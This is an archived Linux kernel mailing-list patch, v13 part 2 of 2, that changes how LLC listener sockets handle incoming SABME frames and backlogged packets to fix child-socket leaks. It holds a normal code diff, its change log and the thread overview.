Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v13:
- Keep listener SABME classification separate from child lifecycle
handling, including duplicate-SABME delivery to an existing child.
- Keep deferred listener SABMEs device-accounted until backlog drain.
- Keep touched local declarations in reverse Xmas tree order and retain
the v12 link.
- v12 Link: https://lore.kernel.org/all/cover.1790255682.git.zihanx@nebusec.ai/
---
include/net/llc_conn.h | 2 +-
net/llc/llc_conn.c | 131 ++++++++++++++++++++++++++++++++++++-----
2 files changed, 117 insertions(+), 16 deletions(-)
diff --git a/include/net/llc_conn.h b/include/net/llc_conn.h
index 778e5e6c0..dc4828336 100644
--- a/include/net/llc_conn.h
+++ b/include/net/llc_conn.h
@@ -13,7 +13,7 @@
#define LLC_EVENT 1
#define LLC_PACKET 2
-#define LLC_LISTENER_FRAME 3
+#define LLC_LISTENER_SABME 3
#define LLC_INCOMING_NONE 0
#define LLC_INCOMING_PENDING 1
diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
index 349a7c5b9..79c29c57c 100644
--- a/net/llc/llc_conn.c
+++ b/net/llc/llc_conn.c
@@ -95,8 +95,8 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
case LLC_CONN_PRIM:
/*
* Can't be sock_queue_rcv_skb, because we have to leave the
- * skb->sk pointing to the newly created struct sock in
- * llc_conn_handler. -acme
+ * skb->sk pointing to the child socket created in
+ * llc_conn_rcv_sabme(). -acme
*
* A connection indication belongs on the listener. If sk and
* skb->sk are the same socket, queueing it would later make
@@ -801,7 +801,64 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
return newsk;
}
-static int llc_conn_rcv_listener(struct sock *sk, struct sk_buff *skb,
+/* The listener is locked and bottom halves are disabled. */
+static int llc_conn_rcv_existing_sabme(struct sock *listener,
+ struct sock *newsk,
+ struct sk_buff *skb)
+{
+ struct llc_sock *llc = llc_sk(newsk);
+ int incoming_state;
+ int rc = 0;
+
+ bh_lock_sock_nested(newsk);
+ if (sock_owned_by_user(newsk)) {
+ if (!skb_set_owner_sk_safe(skb, newsk))
+ goto drop_unlock;
+ netdev_hold(skb->dev, NULL, GFP_ATOMIC);
+ llc_set_backlog_type(skb, LLC_PACKET);
+ if (sk_add_backlog(newsk, skb, READ_ONCE(newsk->sk_rcvbuf))) {
+ netdev_put(skb->dev, NULL);
+ goto drop_unlock;
+ }
+ goto unlock;
+ }
+
+ incoming_state = atomic_read(&llc->incoming_state);
+ if (READ_ONCE(llc->state) == LLC_CONN_OUT_OF_SVC) {
+ if (incoming_state == LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
+ goto drop_unlock;
+ }
+ if ((incoming_state == LLC_INCOMING_PENDING ||
+ incoming_state == LLC_INCOMING_QUEUED) &&
+ READ_ONCE(llc->incoming_listener) != listener)
+ goto drop_unlock;
+ if (incoming_state != LLC_INCOMING_NONE &&
+ incoming_state != LLC_INCOMING_PENDING &&
+ incoming_state != LLC_INCOMING_QUEUED)
+ goto drop_unlock;
+ if (!skb_set_owner_sk_safe(skb, newsk)) {
+ if (incoming_state == LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
+ goto drop_unlock;
+ }
+
+ rc = llc_conn_rcv(incoming_state == LLC_INCOMING_PENDING ? listener :
+ newsk, skb);
+ if (incoming_state == LLC_INCOMING_PENDING &&
+ atomic_read(&llc->incoming_state) == LLC_INCOMING_PENDING)
+ llc_release_incoming_sock(newsk);
+ goto unlock;
+
+drop_unlock:
+ kfree_skb(skb);
+unlock:
+ bh_unlock_sock(newsk);
+ sock_put(newsk);
+ return rc;
+}
+
+static int llc_conn_rcv_sabme(struct sock *sk, struct sk_buff *skb,
struct llc_addr *saddr,
struct llc_addr *daddr)
{
@@ -812,8 +869,9 @@ static int llc_conn_rcv_listener(struct sock *sk, struct sk_buff *skb,
newsk = __llc_lookup_established(llc_sk(sk)->sap, saddr, daddr,
dev_net(skb->dev));
if (newsk) {
- sock_put(newsk);
- goto drop;
+ rc = llc_conn_rcv_existing_sabme(sk, newsk, skb);
+ local_bh_enable();
+ return rc;
}
if (sk_acceptq_is_full(sk))
goto drop;
@@ -960,13 +1018,37 @@ void llc_release_incoming_children(struct sock *sk)
local_bh_enable();
}
+/*
+ * This mirrors the ADM-state DM actions, but a listener has no peer
+ * address in llc->daddr yet.
+ */
+static void llc_conn_send_dm_rsp(struct llc_sap *sap, struct sk_buff *skb,
+ struct llc_addr *saddr, u8 f_bit)
+{
+ struct sk_buff *nskb;
+ int rc;
+
+ nskb = llc_alloc_frame(NULL, skb->dev, LLC_PDU_TYPE_U, 0);
+ if (!nskb)
+ return;
+
+ llc_pdu_header_init(nskb, LLC_PDU_TYPE_U, sap->laddr.lsap,
+ saddr->lsap, LLC_PDU_RSP);
+ llc_pdu_init_as_dm_rsp(nskb, f_bit);
+ rc = llc_mac_hdr_init(nskb, skb->dev->dev_addr, saddr->mac);
+ if (unlikely(rc))
+ kfree_skb(nskb);
+ else
+ dev_queue_xmit(nskb);
+}
+
void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
{
struct net_device *backlog_dev = NULL;
struct sock *newsk = NULL, *sk;
bool newsk_lookup_ref = false;
struct llc_addr saddr, daddr;
- bool listener_frame = false;
+ bool listener_sabme = false;
bool newsk_locked = false;
llc_pdu_decode_sa(skb, saddr.mac);
@@ -1033,17 +1115,29 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
* it needs to set several state variables (see, for instance,
* llc_adm_actions_2 in net/llc/llc_c_st.c) and send a packet to
* the originator of the new connection, and this state has to be
- * in the newly created struct sock private area. -acme
+ * in the private area of the child created by
+ * llc_conn_rcv_sabme(). -acme
*/
if (unlikely(sk->sk_state == TCP_LISTEN)) {
if (!newsk) {
+ if (llc_conn_ev_rx_sabme_cmd_pbit_set_x(sk, skb)) {
+ if (!llc_conn_ev_rx_disc_cmd_pbit_set_x(sk, skb)) {
+ u8 f_bit;
+
+ llc_pdu_decode_pf_bit(skb, &f_bit);
+ llc_conn_send_dm_rsp(sap, skb, &saddr, f_bit);
+ } else if (!llc_conn_ev_rx_xxx_cmd_pbit_set_1(sk, skb)) {
+ llc_conn_send_dm_rsp(sap, skb, &saddr, 1);
+ }
+ goto drop_unlock;
+ }
if (sock_owned_by_user(sk)) {
skb_orphan(skb);
- llc_set_backlog_type(skb, LLC_LISTENER_FRAME);
- listener_frame = true;
+ llc_set_backlog_type(skb, LLC_LISTENER_SABME);
+ listener_sabme = true;
goto enqueue;
}
- llc_conn_rcv_listener(sk, skb, &saddr, &daddr);
+ llc_conn_rcv_sabme(sk, skb, &saddr, &daddr);
goto out;
}
if (!skb_set_owner_sk_safe(skb, newsk)) {
@@ -1074,7 +1168,7 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
llc_release_incoming_sock(newsk);
} else {
dprintk("%s: adding to backlog...\n", __func__);
- if (!listener_frame)
+ if (!listener_sabme)
llc_set_backlog_type(skb, LLC_PACKET);
backlog_dev = skb->dev;
netdev_hold(backlog_dev, NULL, GFP_ATOMIC);
@@ -1138,7 +1232,7 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
int incoming_state;
int rc = 0;
- if (llc_backlog_type(skb) == LLC_LISTENER_FRAME) {
+ if (llc_backlog_type(skb) == LLC_LISTENER_SABME) {
backlog_dev = skb->dev;
if (unlikely(child || sk->sk_state != TCP_LISTEN ||
sock_flag(sk, SOCK_DEAD)))
@@ -1147,18 +1241,25 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
llc_pdu_decode_ssap(skb, &saddr.lsap);
llc_pdu_decode_da(skb, daddr.mac);
llc_pdu_decode_dsap(skb, &daddr.lsap);
- rc = llc_conn_rcv_listener(sk, skb, &saddr, &daddr);
+ rc = llc_conn_rcv_sabme(sk, skb, &saddr, &daddr);
goto out;
} else if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
backlog_dev = skb->dev;
- if (child && child != sk) {
+ if (unlikely(!child))
+ goto drop;
+ if (child != sk) {
+ if (unlikely(child->sk_family != PF_LLC))
+ goto drop;
local_bh_disable();
bh_lock_sock_nested(child);
child_locked = true;
}
- if (child && child != sk) {
+ if (child != sk) {
childllc = llc_sk(child);
incoming_state = atomic_read(&childllc->incoming_state);
+ if (incoming_state == LLC_INCOMING_NONE ||
+ READ_ONCE(childllc->incoming_listener) != sk)
+ goto drop;
if (incoming_state == LLC_INCOMING_PENDING) {
if (sock_flag(sk, SOCK_DEAD) ||
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-09-30 13:30 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-09-30 13:29 [PATCH net v13 0/2] llc: fix listener child socket leaks Zihan Xi
2026-09-30 13:29 ` [PATCH net v13 1/2] llc: release unaccepted listener child sockets Zihan Xi
2026-09-30 13:29 ` [PATCH net v13 2/2] llc: create listener children only for SABME Zihan Xi
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®